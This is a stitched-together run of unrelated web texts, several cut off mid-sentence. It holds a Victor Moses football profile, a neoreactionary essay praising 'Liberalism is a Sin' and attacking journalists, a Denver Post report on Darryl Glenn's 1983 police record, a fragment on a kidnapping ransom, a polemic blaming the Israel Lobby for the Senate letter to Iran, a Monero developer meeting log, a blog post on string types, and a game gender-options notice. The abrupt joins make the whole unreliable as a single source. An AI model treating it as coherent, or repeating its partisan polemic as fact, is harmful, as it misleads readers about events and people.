At the start of the current season Victor Moses was a promising player for struggling English Premier League club Wigan. Now, just a few months later, the 22-year-old is playing for one of the biggest clubs in the world, can call himself an African champion and is looking forward to participating at the FIFA Confederations Cup in Brazil. After a slow start to his international career, the athletic Chelsea forward was an inspirational attacking figure for Nigeria as they won the CAF Africa Cup of Nations last week by beating Burkina Faso 1-0 in the final.
If anybody had told me that I would be playing for Chelsea and winning the Nations Cup... I would not have believed it. It is like a dream.
It’s been a dramatic rise to the top for Moses, who was born in Nigeria but was smuggled out after his missionary parents were killed in religious rioting. Raised by foster parents in south London, the youngster turned to football and joined Crystal Palace’s academy after being scouted at his local school. Always considered a potential star, Moses debuted for the Eagles as a 16-year-old and signed a four-year contract with the club, but after becoming a regular in the 2009/10 season he was signed during the January transfer window by Wigan. After a number of impressive performances for the Latics, he became a Chelsea target and after several offers had been rejected by Wigan, they finally accepted an offer right at the end of the transfer period in August last year - but not before Moses had played against his new club in the opening match of the Premier League season.
Moses was called up at youth level for England and played in all their youth teams. In 2007 he was the top scorer at the European Under-17 Championship and in the same year played in the FIFA U-17 World Cup. After failing to command |
coes from 1868-1874 that began with a liberal revolution and deposition of the ruling Queen Isabella II, followed by a short-lived monarchy under the Savoyard Prince Amadeo, followed by his own deposition and a similarly short-lived Spanish Republic that ended in 1874 when the original Queen Isabella II’s son Alfonso XII was restored as King of Spain in a military coup. Three coups, two monarchies, one republic, and all back to square one in just six years—politics today just isn’t as exciting as it used to be. But I digress.
I will here provide a choice quote of the Don’s so that the reader may be sufficiently intrigued to studiously follow the forthcoming backstory and analysis (my highlights in bold):
The theater, literature, public and private morals are all saturated with obscenity and impurity. The result is inevitable; a corrupt generation necessarily begets a revolutionary generation. Liberalism is the program of naturalism. Free-thought begets free morals, or immorality. Restraint is thrown off and a free rein given to the passions. Whoever thinks what he pleases will do what he pleases. Liberalism in the intellectual order is license in the moral order. Disorder in the intellect begets disorder in the heart, and vice-versa. Thus does Liberalism propagate immorality, and immorality Liberalism. (Liberalism is a Sin, Ch. 26)
During the 1868-1874 interregnum, the Catholic Church in Spain suffered a number of blows to its status, especially due to the short-lived First Spanish Republic that moved to establish a secular state. While Catholicism retrieved its status as the state religion of Spain after the restoration of the monarchy under Alfonso XIII in 1874, the sense of spiritual decay that had gripped Spain since the 18th century continued unabated. Yale historian Noel Valis describes a “a growing alienation from the Church,” and refers us to the observations of a Protestant chaplain in Spain Hugh James Rose, who dedicated an entire chapter of his 1873 book on the country to the “Decay of Faith in Spain.”
Choice observations of Rose’s:
The Church of Spain … is an institution which has lost its hold on the masses, both educated and uneducated … [there is in the Spanish] a sense of spiritual drift, of having come unanchored from their religious moorings.
It is in this context that Don Sarda’s magnum opus was released, the 1886 book Liberalism is a Sin, which was subsequently reprinted up to twenty times by 1960. Salvany, who believed liberalism “is the burning issue of our century,” found a quick rebuttal to his work by the liberal-leaning Catholic intelligentsia—both pieces were submitted to the Roman Catholic Church’s Sacred Congregation of the Index (the successor institution to the Index Librorum Prohibitorum — List of Prohibited Books). The Congregation’s secretary ruled soon after in favor of Salvany, finding errors in the rebuttal and “uncharitable insinuations” about the good Don.
To illustrate the then Church’s zealous and masculine dismissal of liberal protests, I will excerpt the secretary’s letter to the liberal Bishop who ordered the rebuttal:
To The Most Rev. Jacobo Catala Et Alboso, Bishop of Barcelona Most Excellent Sir: […] D. Felix Sarda, merits great praise for his exposition and defense of the sound doctrine therein set forth with solidity, order and lucidity, and without personal offense to anyone. […] The same judgment, however, cannot be passed on the other work, that by D. de Pazos, for in matter it needs corrections. Moreover, his injurious manner of speaking cannot be approved, for he inveighs rather against the person of D. Sarda than against the latter’s supposed errors. […] Therefore, the Sacred Congregation has commanded D. de Pazos, admonished by his own Bishop, to withdraw his book, as far as he can, from circulation, and in the future, if any discussion of the subject should arise, to abstain from all expressions personally injurious, according to the precept of true Christian charity; and this all the more since Our Holy Father, Leo XIII, whereas he urgently recommends castigation of error, neither desires nor approves expressions personally injurious, especially when directed against those who are eminent for their doctrine and their piety. […] Fr. Jerome Secheri, O.P.
Secretary of the Sacred Congregation Of the Index.
Don Sarda had the full backing of the Roman Catholic Church of the late 1800s, and his works built on the Syllabus Errorum (Syllabus of Errors) issued by the Holy See under Pope Pius IX in 1864, which condemned, among other things: pantheism, naturalism, absolute rationalism, socialism, communism, and modern liberalism. This is all relevant to the crux of this entire piece, which finally manifests itself: that the Don Felix Sarda y Salvany, and his contemporaries in the Catholic world, were not just potentially in agreement with the tenets of the nascent neoreactionary school of thought, but fully paleo-neoreactionaries, a clumsy description which we might condense into reactionaries, with the understanding that our contemporary neoreactionaries are rediscovering reactionaries and applying their insights to the chaotic world of 2015 (hence, neo-).
I will now highlight several key tenets of the 21st century neoreactionary school of thought that were articulated nearly word-for-word by the 19th century Don, and, crucially, firmly defended by the Catholic Church at the time, as illustrated above.
1. To Hell with the journalists.
The contempt that most Westerners hold for the “mainstream media,” and the much deeper contempt that neoreactionaries hold for journalists themselves is rooted in a very real and consistent tendency for journalists to style themselves as heroic investigators of dark secrets held from the masses for illicit gain, but to act in reality as left-wing propagandists advancing a uniform agenda of feminism, multiculturalism, LGBT-ism, and a myriad of other -isms through a long-cultivated routine of mental gymnastics and/or outright fraud. The result is a “mainstream media narrative” divorced from reality to one degree or another, useful only to leftists (Don Salvany’s “liberals”) for political purposes—namely, attacking and crushing with overwhelming propaganda the rightist resistance they invariably face:
Here are theoretical and practical Liberals. The first are the dogmatizers of the sect—the philosophers, the professors, the controversialists, the journalists. They teach Liberalism in books, in discourses, in articles, by argument or by authority, in conformity with a rationalistic criterion, in disguised or open opposition to the criterion of the divine and supernatural revelation of Jesus Christ. (Ch. 9) Amongst Liberals we must not forget to include those who manage to evade any direct exposition or expression of the Liberal theory, but who nevertheless obliquely sustain it in their daily practice by writing and orating after the Liberal method, by recommending Liberal books and men, measuring and appreciating everything according to the Liberal criterion, and manifesting, on every occasion that offers, an intense hatred for anything that tends to discredit or weaken their beloved Liberalism. Such is the conduct of those prudent journalists whom it is difficult to apprehend in the flagrant advocacy of any proposition concretely Liberal, but who nevertheless, in what they say and in what they do not say, never cease to labor for the propagation of this cunning heresy. Of all Liberal reptiles, these are the most venomous. (Ch. 9) And all this comes of a foolish desire to be estimated Liberal. Insane illusion! The usage of the word Liberal makes the Catholic who accepts it as his own one with all that finds shelter in its ominous shadow. Rationalism is the toadstool that flourishes in its dark shades, and with Rationalism does such a journalist identify himself, thus placing himself in the ranks of the enemies of Jesus Christ! (Ch. 13)
2. To Hell with the “moderates.”
A more niche contempt held by the modern Outer Right at large—including the gamut of neoreactionaries, monarchists, paleoconservatives, white nationalists, New Rightists, identitarians, right-libertarians, anarcho-capitalists, radical traditionalists and so forth—is the contempt for the mainstream right-wing political forces that exist in every Western country but act as little more than controlled opposition for the zealous Left, making loud noises in parliament halls but inevitably and invariably capitulating to the Left’s demands. They then style themselves as the vanguards of the old order a decade later—but not the primordial rightist order; rather, the 10-year-old new order of the Left.
This class has not fully penetrated into the domain of truth. That they will ever enter the city of light depends upon their own sincerity and honesty. If they earnestly desire to know the truth in its fullness and seek it with sincere purpose, God’s grace will not fail them. But they are in a dangerous position. On the borderland between the realms of light and darkness, the devil is most active and ingenious in detaining those who seem about to escape his snares, and he spares nothing to retain in his service a great number of people who would truly detest his infernal machinations if they only perceived them. His method, in the instance of persons infected with Liberalism, is to suffer them to place one foot within the domain of truth, provided they keep the other inside the camp of error. In this way they stand the victim of the devil’s deceit and their own folly. In this way those whose consciences are not yet entirely hardened escape the salutary horrors of remorse; so the pusillanimous and the vacillating, who comprise the greater number of Liberals, avoid compromising themselves by pronouncing themselves such openly and squarely; so the shrewd and calculating (according to the measure of expediency—how much time they will spend in each camp), manage to show themselves the friends and allies of both; so a man is enabled to administer an official and recognized palliative to his failings, his weaknesses and his blunders. It is the obscurity that arises from the indefiniteness of clearly defined principles of truth and error in the Liberalist’s mind that makes him the easy victim of Satan. His boasted strength is the very source of his weakness. It is because he has no real solid knowledge of the principles of truth and error that he is so easily deluded into the belief of his own intellectual superiority. He is in a mental haze—a fog which hides from him the abyss into which his vanity and pride, cunningly played upon by Satan, are invariably drawing him. (Ch. 8)
3. Demotism
Demotism, the idea that a ruler must rule “in the name of the people,” is a malady of civilization omnipresent in the post-Enlightenment period: the three great dragons of the 20th century, capitalism, communism and fascism, all ostensibly ruled “by the will of the people,” a stark contrast to the aristocratic monarchies of Old Europe which ruled not “by the will of the people,” but “by the will of God.” The Don Felix Sarda y Salvany foreshadowed the concept of demotism heavily in this excerpt on the differences between Catholic and secular governments, and their relationships to monarchical and republican governments.
Don Sarda’s point seems to be that the crucial worth of a government lies not in its constituted political form i.e. whether it is republican or monarchical, but rather in its agreed-upon basis for legitimacy—the people, or God? Couldn’t an absolute monarch be a demotist, and wouldn’t this constitute a problem? And couldn’t a republican government consist of ardently religious aristocrats sharing a divine right to rule over the masses? There is ample room for debate here.
A government, whatever be its form, is Catholic if its constitution, its legislation, and its politics are based on Catholic principles; it is Liberal if it bases its constitution, its legislation, and its politics on rationalistic principles. It is not the act of legislation—by the king in a monarchy, by the people in a republic, or by both in a mixed form of government—which constitutes the essential nature of its legislation or of its constitution. What constitutes this is whether it does or does not carry with it the immutable seal of the Faith and whether it be or be not conformable with what the Christian law imposes upon states as well as upon individuals. just as amongst individuals, a king in his purple, a noble with his escutcheon or a workman in his overalls can be truly Catholic, so states can be Catholic, whatever be the place assigned them in the scale of governmental forms. In consequence, the fact of being Liberal or anti-Liberal has nothing whatever to do with the horror which everyone ought to entertain for despotism and tyranny, nor with the desire of civil equality between all citizens; much less with the spirit of toleration and of generosity, which, in their proper acceptation, are Christian virtues. And yet all this, in the language of certain people and of certain journals, is called Liberalism. Here we have an instance of a thing which has the appearance of Liberalism and which in reality is not Liberalism at all. On the other hand, there exists a thing which is really Liberalism and yet has not the appearance of Liberalism. Let us suppose [i.e., imagine] an absolute monarchy like that of Russia, or of Turkey, or better still, one of the conservative governments of our times, the most conservative imaginable; let us suppose that the constitution and the legislation of this monarchy or of this government is based upon the principle of the absolute and free will of the king or upon the equally unrestricted will of the conservative majority, in place of being based on the principles of Catholic right, on the indestructibility of the Faith, or upon a rigorous regard of the rights of the Church; then, this monarchy and this conservative government would be thoroughly Liberal and anti-Catholic. Whether the free-thinker be a monarch, with his responsible ministry, or a responsible minister, with his legislative corps, as far as consequences are concerned, it is absolutely the same thing. In both cases their political conduct is in the direction of free-thought, and therefore it is Liberal. Whether or not it be the policy of such a government to place restraints upon the freedom of the press; whether, no matter under what pretext, it grinds its subjects and rules with a rod of iron; a country so governed, though it will not be free, will without doubt be Liberal. Such were the ancient Asiatic monarchies; such are many of our modern monarchies; such was the government of Bismarck in Germany; such is the monarchy of Spain, whose constitution declares the king inviolable, but not God. Here then we have something which, without seeming to resemble Liberalism, really is Liberalism, the more subtle and dangerous precisely because it has not the appearance of the evil it is. (Ch. 12)
Without regard to political or religious identity, I recommend all sane men take a day or two to carefully read the Don Felix Sarda y Salvany’s Liberalism is a Sin. Filled with biting commentary, no-holds-barred reactionary criticism, and such ardent and unforgiving opposition to the leftist-liberal movement that would make the staunchest Ultramontane blush, the entire text is available for free online at this link.On a November night in 1983, Colorado Springs police answered a call from a father who said he had been struck in the face by his son, a senior in high school a month past his 18th birthday.
That young man was Darryl Glenn, according to a police report and other documents obtained by The Denver Post. Glenn, who is running for the U.S. Senate, has said he has no knowledge of the incident and that it may have been someone else — either his half-brother or another person named Darryl Glenn.
When The Post presented the candidate with the documents this week, his campaign spokeswoman said Glenn had no recollection of any run-ins with police. His responses to inquiries from reporters about the assault charge have been inconsistent.
In May, before The Post obtained the detailed police report, Glenn told the newspaper he has never been interviewed by police for any reason. He said the charge might have involved another man named Darryl Glenn and that he sometimes gets phone calls about that person.
This month, Glenn told the Colorado Springs Independent the case might have involved his half-brother, Cedric, who was 8 years older than Glenn and died in 1992. He said Cedric had a “criminal past.” Glenn pointed out that he is an Air Force Academy graduate and that he would not have been accepted as a cadet had there been questions about his past.
The Post supplied Glenn’s campaign with the police report and court documents this week.
“Darryl has never been arrested, never even been questioned by the police, and doesn’t know what actually happened,” his spokeswoman, Katey Price, said in an e-mail Monday. “There’s nothing inconsistent because in both instances, he was speculating on what might have happened.”
The campaign would not make Glenn available to discuss the police report.
The police report shows the victim was Ernest Glenn and his assailant as Darryl Lemon Glenn.
Records show Glenn, or someone claiming to be him, appeared in court to be advised of the charge in December 1983, three weeks after the alleged assault. Two months after that, in February 1984, the charge was dropped after Ernest Glenn chose not to pursue it.
Ernest Glenn died in 2006, records show.
The 1983 complaint has a signature of the name Darryl L. Glenn that has similarities to signatures on Glenn’s business and campaign documents dating to 2000.
Wendy Carlson of America’s Handwriting Expert LLC in Denver, who examines legal and business documents and trains election workers to spot forgeries, cited similarities between the two Glenn signatures.
“I believe it’s the same person who signed both,” she said Tuesday.
The court documents from the alleged assault case also include Glenn’s date of birth, a Social Security number, his physical description and that he was a student at Doherty High School. Public records show Glenn lived at his family’s Colorado Springs home at the time.
Glenn was a national collegiate power-lifting champion at the Air Force Academy, a distinguished airman, an El Paso County commissioner and the Republican nominee to face Democratic incumbent U.S. Sen. Michael Bennet. Glenn has campaigned on his honesty and integrity.
Glenn’s response to inquiries about the incident surprised independent Colorado political analyst Eric Sondermann.
“It strikes me as a classic example of the coverup being worse than the offense,” Sondermann said.
“No reasonable voter would judge someone based on what happened in 1983, before that person was even a young man,” he said. “We all did things we wish we hadn’t. … But while voters might not judge him based on what happened in 1983, they can judge how he handles it now — does he own up to it, does he take responsibility, or does he duck, dodge and weave?”
In June, Glenn shocked the Colorado Republican establishment by winning the primary among a crowded field, clinching the party’s nomination for the Senate. Last week, he spoke at the Republican National Convention.
Staff writer John Frank contributed to this story.The pair married in 2012 after Mr Ecclestone, 85, divorced his then wife Slavica Radic. Mr Ecclestone is worth an estimated US$3.1 billion.
The kidnappers were said to be in contact with the Ecclestone family and had demanded R$120 million (£27.84 million), to be paid in sterling in four separate bags. The details were confirmed by other publications, which had held off reporting the abduction.
Security services in São Paulo said they did not comment on kidnapping cases for the safety of the victim and could not confirm the reports. The Ecclestone family also declined to comment.
However, it was described as the biggest ever kidnapping ransom in the country amid heightened security concerns ahead of the Rio 2016 Olympics, which start in less than two weeks.
In the host city, a New Zealand athlete reported being “express kidnapped” by police officers at the weekend and forced to withdraw money from an ATM as a bribe.March 2015 is a month that should live in infamy. The month started out with the revolting spectacle of Israeli Prime Minister Benjamin Netanyahu addressing a joint session of Congress for the third time, having been invited by the Speaker of the House without the courtesy of seeking any input from the White House or State Department. The National Review was quick to declare Bibi “leader of the free world,” surely one of the most ridiculous claims ever made by a once respectable magazine that has increasingly become a reliable mouthpiece for the Israel Lobby. It was all part of a carefully orchestrated deliberate affront to President Barack Obama, who like it or not, is responsible for the conduct of foreign affairs. It also challenged the White House’s role in dealing with visiting heads of state and government as a matter of both protocol and common sense, one of the traditional duties of the Chief Executive.
Netanyahu characteristically lied about the threat posed by Iran and was greeted by fifty rounds of applause for his lucidly expressed insights into why the United States should again be prepared to go to war on Israel’s behalf. Five days later 47 Republican United States Senators signed a letter allegedly written by Senator Tom Cotton of Arkansas and then sent it to the Iranian government directly, warning that any agreement over that country’s nuclear program reached with President Barack Obama will likely be overturned by the Congress. The letter was signed by the entire Republican Party leadership in the Senate and also included presidential contenders Rand Paul, Marco Rubio and Ted Cruz.
Were the two events connected? You bet they were as they both had the same objective – to end talks with Iran and commit the United States to a more aggressive confrontation with the Mullahs, as Israel has been demanding.
The invitation and the letter were both unprecedented, far exceeding previous stunts by the ubiquitous GOP “maverick” Senator John McCain cavorting with terrorists in Syria or appearing in Tbilisi or at Maidan Square in Ukraine to instigate either a new war or a change of government. McCain’s hubris, as well as that of other peripatetic Congressmen prowling the world looking for an audience, was on display “over there” where he had no real authority and no one would listen to him anyway but the current incarnation of Republican leadership was and is, unfortunately, doing its damage over here.
The visit and letter were together an assault on how American democracy is supposed to work. Retired Major General Paul Eaton summed up the impact of the letter succinctly: “…to directly engage a foreign entity, in this way, undermining the strategy and work of our diplomats and our Commander in Chief, strains the very discipline and structure that our foreign relations depend on to succeed. The breach of discipline is extremely dangerous, because undermining our diplomatic efforts, at this moment, brings us another step closer to a very costly and perilous war with Iran. I think Senator Cotton recognizes this, and he simply does not care.”
The most significant damage is to the separation of powers under the Constitution of the United States. One might argue reasonably that executive authority has increased dramatically in Washington since 9/11 and should be rolled back by the legislature and judiciary. But the GOP is not addressing the issues that it should be confronting like war powers, immigration, state secrecy privilege, illegal spying and death by drone. It is instead seeking to challenge Article 2 of the Constitution, which specifies that the executive is the lead agency in dealing with foreign governments. The House of Representatives can choose to defund presidential programs and the Senate can refuse to “consent” to treaties that the executive has entered into, but the actual work of diplomacy and protecting Americans overseas is the responsibility of the president.
The presidential prerogative was accepted by the Founding Fathers and George Washington, in his first address to Congress made clear that while the legislative branch had responsibility for funding both diplomacy and an army, it was up to the executive branch to carry out policy in both areas. At the time, Thomas Jefferson was Secretary of State. The Supreme Court has since several times upheld that perception, ruling that “foreign policy is the province and responsibility of the executive.”
And then there is the Logan Act, passed in 1799, which specifically declares it illegal for any citizen, including Congressmen, to engage in “any correspondence or intercourse with any foreign government... with intent to influence the measures or conduct of any foreign government... in relation to any disputes or controversies with the United States.” The last indictment submitted under the Act was in 1803, which means that legal experts might well consider it to be unenforceable due to the judicial doctrine of desuetude, or lack of use, but the law is still on the books and one might reasonably argue that both the Netanyahu invitation and the Senate letter to the Iranian government would be considered felonious violations.
Leaving aside the damage that would be done to America’s reputation by repudiating an agreement hammered out not only with Iran but also with five other countries, there is a common thread running through the attempt by the Congress to assert control over some aspects of foreign policy and it is, of course, Israel. And there is also a back story. The Netanyahu visit was planned by the Israeli Ambassador in Washington Ron Dermer in collusion with Speaker of the House John Boehner. It was clearly intended to embarrass President Obama while also motivating the Congress and media to do everything possible to derail a possible agreement with Iran, which Netanyahu has been warning about since 1993. Netanyahu was also banking on his speech to shore up his credentials as a tough-talking guarantor of Israeli national security to include having Washington in his pocket. He hoped to benefit in the impending national elections, which are taking place today.
But Netanyahu may have received more blowback than benefits from his maneuvering with the U.S. Congress. His formulaic speech was heavily criticized even by Israel’s friends, damaging Tel Aviv’s relationship with the Democratic Party and possibly even dooming his chance for reelection due to the adverse reaction to the visit among Israelis.
And the letter to Iran’s appearance five days after the speech certainly hints at collusion and possibly more than that. It suggests that nearly half of the United States Senate, having received its marching orders from Netanyahu, was prepared to go forth and tighten the screws on Iran. The letter states, inaccurately, “that anything not approved by Congress is a mere executive agreement [that] the next president could revoke…with the stroke of a pen and future Congresses could modify…” It advises that “any unilateral executive agreement is one the [the Iranians] accept at their own peril.”
The letter, which undercuts the authority of the American president before an international audience, is undeniably a threat intended to derail negotiations. It was responded to by Iranian foreign minister Javad Zarif, who called the letter a “propaganda ploy” observing that “it is very interesting that while negotiations are still in progress and while no agreement has been reached, some political pressure groups are so afraid even of the prospect of an agreement that they resort to unconventional methods, unprecedented in diplomatic history…If the current negotiation with P5+1 results in a Joint Comprehensive Plan of Action, it will not be a bilateral agreement between Iran and the US, but rather one that will be concluded with the participation of five other countries, including all permanent members of the Security Council, and will also be endorsed by a Security Council resolution.” He added that the “letter in fact undermines the credibility of thousands of such mere executive agreements that have been or will be entered into by the US with various other governments” and concluded that revoking an agreement would be a “blatant violation of international law.”
The letter’s alleged author, 37 year old freshman Senator Cotton, had been in office all of 62 days when the document was sent directly to the government in Tehran on March 8th. He had started circulating the draft for signatures the day after Netanyahu spoke, suggesting that it was already prepared and not a spontaneous act. An Army veteran with combat tours, Cotton is a hardliner chickenhawk though minus the chicken, which makes him a valuable commodity in the exclusive armchair warrior club that some call the Republican Party. But even that fraternity has sometimes found him too extreme. In 2014 he told voters that ISIS was working with Mexican drug cartels to stage attacks in Arkansas and while a Congressmen he sought to imprison the entire families of those suspected of violating Iran sanctions, to include the grandchildren of the convicted.
Cotton is inevitably very fond of Israel. Whether it is genuine, opportunistic or just a quid pro quo is difficult to say. In January he tried to strengthen sanctions against Iran and he stated his belief that the talks over the nuclear program should be abandoned. It has been observed that most of the defenders of his letter are also leading components of the Israel Lobby, but there is more to it than that. In his Senatorial campaign last year Cotton received $960,250 from Bill Kristol’s Emergency Committee for Israel plus $165,000 from Paul Singer’s Elliott Management hedge fund. Both Kristol and Singer have been active in opposing Iran talks and it should be noted also that neither lives in Arkansas.
There have also been suggestions that Cotton did not in fact write the letter. Former American Israel Public Affairs Committee (AIPAC) staffer M.J. Rosenberg believes that it was produced by that organization, which appears probable as 46 Senators would have been unlikely to sign on to a letter produced by a new and untested Senator otherwise. Some others look to Kristol, who regards Cotton as a protégé much as he once nurtured the unforgettable Sarah Palin. Rosenberg explains “nothing happens on Capitol Hill related to Israel unless and until Howard Kohr (AIPAC chief) wants it to happen. Nothing.”
More than 165,000 Americans have signed a petition calling Cotton’s letter treasonous. Behind that outrage we have a speech, a letter and the usual banal tale of corruption, opportunism and money. And it is all starts with Israel, a foreign country that has somehow inserted itself into the American political DNA. Interestingly, the Cotton letter hit the news cycle on the very day that Benjamin Netanyahu and Foreign Minister Avigdor Lieberman were in the news in Israel. Netanyahu announced that there would be “no withdrawals” from the Israeli occupied West Bank and no “concessions” to the Palestinians. Even the generally supine New York Times had to opine that it cast doubts about “his declared commitment to the two-state solution.”
Lieberman meanwhile called for the beheading of Israel’s Arab citizens who “oppose us.” So much for the billions of dollars given to Israel and the irreparable damage to American interests. All successive administrations in Washington have succeeded in doing is empowering racist fanatics like Lieberman while the American people have gained nothing. And as often happens when the Palestinians are on the business end of the Israeli boot the Netanyahu and Lieberman comments were hardly noticed in the U.S. mainstream media, conveniently overshadowed by the bigger story of Iran and the Senator Cotton letter.Highlights [ ]
The MRL(Monero Research Lab) has working Java test code for multi-output bulletproofs Currently being ported to C++ (non-multi-output) Research is ongoing for how fee structures are impacted (a large number of outputs could form a Denial of Service) A Single output BulletProof(BP) is 704 bytes - and a 2 output is ~768 bytes. For comparison, single and double outputs in the current version of Monero are 6k and 12k, respectively. In testing, most BulletProof transactions average about 2.2k BulletProofs may make the September 2018 fork. A testnet build might be ready within a week.
A code freeze is scheduled for the end of this month (Dec 2017)
Surae Noether is completing his review of Monero's MultiSig implementation.
MultiSig is expected to be included in the freeze (so it will be in the next release). If you're interested in the development aspect or code review for MultiSig, *now* is the time to look.
ZeroMQ(0MQ) is also expected to be in the next release. But at this point there are still some features missing.
Research continues into switching Monero's Random Number Generator(RNG) to one of Bitcoin's.
Full Log [ ]
<fluffypony> 1. Greetings <fluffypony> 2. Brief review of what's been completed since the previous meeting <fluffypony> 3. Code + ticket discussion / Q & A <fluffypony> 4. Any additional meeting items <fluffypony> 5. Confirm next meeting date/time <fluffypony> so 1. Greetings <fluffypony> hi <ArticMine> Hi <iDunk> o/ <fluffypony> luigi1111 (if you're back) / smooth / hyc / moneromooo etc. <moneromooo> here <gingeropolous> etc here * hotoatmeal watching * WWW-XMRTalk-Org| (b84bd44d@gateway/web/cgi-irc/kiwiirc.com/ip.184.75.212.77) has joined <fluffypony> 2. Brief review of what's been completed since the previous meeting <Slack_3> <serhack> hi :slightly_smiling_face: <fluffypony> lots of stuff <sarang> MRL has working Java test code for complete multi-output bulletproofs <sarang> It's being ported over to C++ <moneromooo> (not the multi output one) <sarang> The Java part is complete <moneromooo> Sorry, I meant just about the port ^_^ <sarang> Discussions are ongoing about if/how the fee structure would be modified to prevent large-output txn DoS <fluffypony> what's wrong with per-byte fees? <sarang> You can load a txn with tons of outputs <sarang> but verification is linear in the # of outputs <dEBRUYNE> fluffypony: verification is linear, whilst size is log <dEBRUYNE> basically <sarang> So for low fees you can force the network to verify <fluffypony> ah ok, makes sense <sarang> So we need to incentivize the use of aggregate BPs while basically scaling the fee to the number of outputs etc. <sarang> But things are looking good <sarang> Verification is still quite efficient <sarang> and with the multi-output setup, space savings are unreal <moneromooo> In fact, the per byte fee needs to be done first, as per kB is way too coarse for this. <sarang> Yeah a single output BP is about 704 bytes, while a 2-output BP is something like 768 bytes <sarang> (including commitments) <sarang> it's just too damn good <fluffypony> nice <dEBRUYNE> For clarification, a single output is currently ~ 6 kB, whereas a 2-output is ~ 12 kB * hotoatmeal was about to ask <sarang> So we'll continue moving forward with porting and testing <manifest> serhack here? <dEBRUYNE> A typical Monero transaction has 2 ins + 2 outs <Slack_3> <serhack> yep manifest <manifest> i was wondering who was the m8 that was gonna work on the go-library since i started on it myself a little bit swell <fluffypony> dEBRUYNE: this would also be a major cost-saving for pool payments <fluffypony> manifest: we're in a meeting <sarang> For reference, the size of an M-output BP is 32*(2*log(64*M)+9) bytes (this doesn't count the amount commitments) <sarang> add 32 bytes for each of the M amount commitments if you want to include them <sarang> (log is base 2) <Slack_3> <rehrar> manifest you can hop on mattermost.getmonero.org. Serhack is also there and you guys can PM and chat so as not to disrupt the meeting. Thanks. :) <ArticMine> I have to give some thought to the fees to deal with the verification issue <fluffypony> ok so beyond BP is there anything else worth noting? <sarang> We do require a power of 2 in the # of outputs * Gdhhyfjjs467 (adf42c28@gateway/web/cgi-irc/kiwiirc.com/ip.173.244.44.40) has joined <pigeons> So sometimes you just create an additional change output, or how do you cause always a power of 2? <sarang> We'll need to either pad with dummy outputs or split into power-of-2 proofs <ArticMine> Split the change into two tx * WWW-XMRTalk-Org| has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client) <pigeons> OK <sarang> The dummy output doesn't need to actually represent anything <sarang> It just needs to be there for the proof <sarang> It can be amount 0 <ArticMine> that will work also <sarang> Anyway, that's my 3 cents <luigi1111> Better to split <luigi1111> Space is cheap gp <luigi1111> Cpu is expensive* <ArticMine> We will have to price cpu <moneromooo> There's a possible optimization for "filler" outs AIUI. <luigi1111> Probably not as good as not using them :) <sarang> There aren't any security proofs for a non-power-of-2 proof <moneromooo> I was led to think it was not inherent in the scheme, though? <sarang> It is <moneromooo> aw... <sarang> At least for right now <sarang> There's a recursive step that split arrays in half <ArticMine> The issue I see is that the penalty only prices space <sarang> The authors of the paper are looking into a generalization, but it doesn't exist yet <luigi1111> That's interesting <fluffypony> ok so <fluffypony> anything else from the last two weeks worth noting? <sarang> suraeNoether is completing review for multisig <sarang> He is unable to be here today * amiuhle (~amiuhle@206.223.178.27) has joined <Gdhhyfjjs467> Has a code freeze date for the next for been set yet? <fluffypony> Gdhhyf |
doesn’t care, to great joy of the Łódź tourist board and all Poles who find themselves behind a non-Polish keyboard. Google needed to support a near-perfect conversion from category 2 (user input) to category 1 (indexed keywords). Because this is impossible, Google accepts that sometimes you get results that you don’t want.
It’s a one-way street
Any attempt to predictably go from machine-only text to human-only text is futile. Once a string has turned into an identifier, don’t try to get the original back. It’s a hash, you lose data. You may be able to find multiple human-readable texts that match a single identifier (such as Łódź and Lodz), and this might be useful if you’re building a search engine. In many cases, just don’t try.
The fun thing about this one-way street is that it’s a one-way street that you control. Whatever the user enters, you can set the assumptions for any strings that fall in category 1. You can ensure that machine-only strings contain only alphanumeric characters, or only ASCII characters, or only valid identifiers for your favourite programming language. You can clearly set these assumptions and then work with them. Once you work with a limited string alphabet, you can go wild on substrings and lowercasing and comparisons and all that, without much going wrong.
There is no requirement that JSON keys contain only [a-zA-Z_-]. Yet, nearly everybody appears to stick to this convention. Why? It’s machine-only data, so no need to make things complicated. String types in nearly every language, even ones with horrible Unicode support, are fine for use in category 1. Go wild! Strings are fine!
Human-readable text should not be touched.
In an odd kind of duality, there is often little need to change or analyse strings that fall in category 2. If you have a user interface in many languages, don’t “intelligently” uppercase words. It’ll go wrong. Have translators produce a string for both “Ok” and “ok”, if you need both. Trust people, not brittle string classes. Similarly, don’t be smart about transforming words, names and sentences that users input. Unless of course this is a core aspect of your product, like when you’re coding Google Maps and you want users to be able to search for both Tokyo and 東京.
For human-only text, you don’t want to do manipulations or analysis. Need a string length for correctly rendering a UI? You can use String.Length, but be aware that it can produce inaccurate results. If you need to be sure, you need to use the underlying rendering library and measure pixels or centimeters and not characters. Similarly, why would you ever need to take a substring of someone’s name, or a poem, or the Russian word for “Banana”?
The moment you feel like you need to perform these kinds of operations on strings for humans, there might be something the matter. Probably, you need to hash the string first. Go to machine-only strings.
If human-only strings, however, are only read and then displayed, then any sufficiently modern Unicode-supporting string class suffices, again. Indeed, yet again, strings are fine. Go wild!
Built-in datatypes
If there is any takeaway from this entire discussion, it may be that there is a need for multiple string types in strongly-typed languages: one for machine-only text, and at least one for human-only text. Such a human-only string could contain no common string operations at all, except for converting from and to byte streams in various encodings. Similarly, UI frameworks and template engines could make it difficult to display machine-only text, just like how modern HTML template engines help avoid XSS attacks.
Note: I read on Hacker News that Ruby actually does something like this: it has one class per encoding. Declare a law in your Ruby shop that ASCII strings (plain old Ruby strings) are to be treated as machine-only, and you’re pretty far.
Epilogue: There’s no free lunch
Unfortunately, all of the above holds until you want to print a phone book for the entire world. Does Орёл sort before or after Oryel? They’re the same place name, just written differently. Any sort of human-understandable sorted list of things written in multiple languages gets really messy real fast. Fortunately, phone books have been largely replaced by search, and if you accept some false positives, search works better anyway. And always go to category 1 when searching.
Of course, if you only need ordering for some internal algorithm you have, you can probably afford to go to category 1 first. If not, maybe the actual ordering does not matter, as long as it is consistent.
If you got this far, you’ll probably want to hire me as a consultant.
AdvertisementsIn March we announced some changes to Fallen London’s gender options. Fallen London is known for its ‘mysterious and indistinct’ third gender option and we wanted to improve upon it, adding some of what we learnt from the system we used in Sunless Sea.
In March, we explained the following changes would take place:
‘Si-, er, Mad-, er, yes’ would be replaced
The game would get out of the way of your character’s gender, and take the Sunless Sea approach of asking for your preferred form of address
We would add new titles (some of which would be unlockable, depending on profession and other factors)
As with the recent Making Your Name changes, established players would be given an option to choose a new preferred form of address
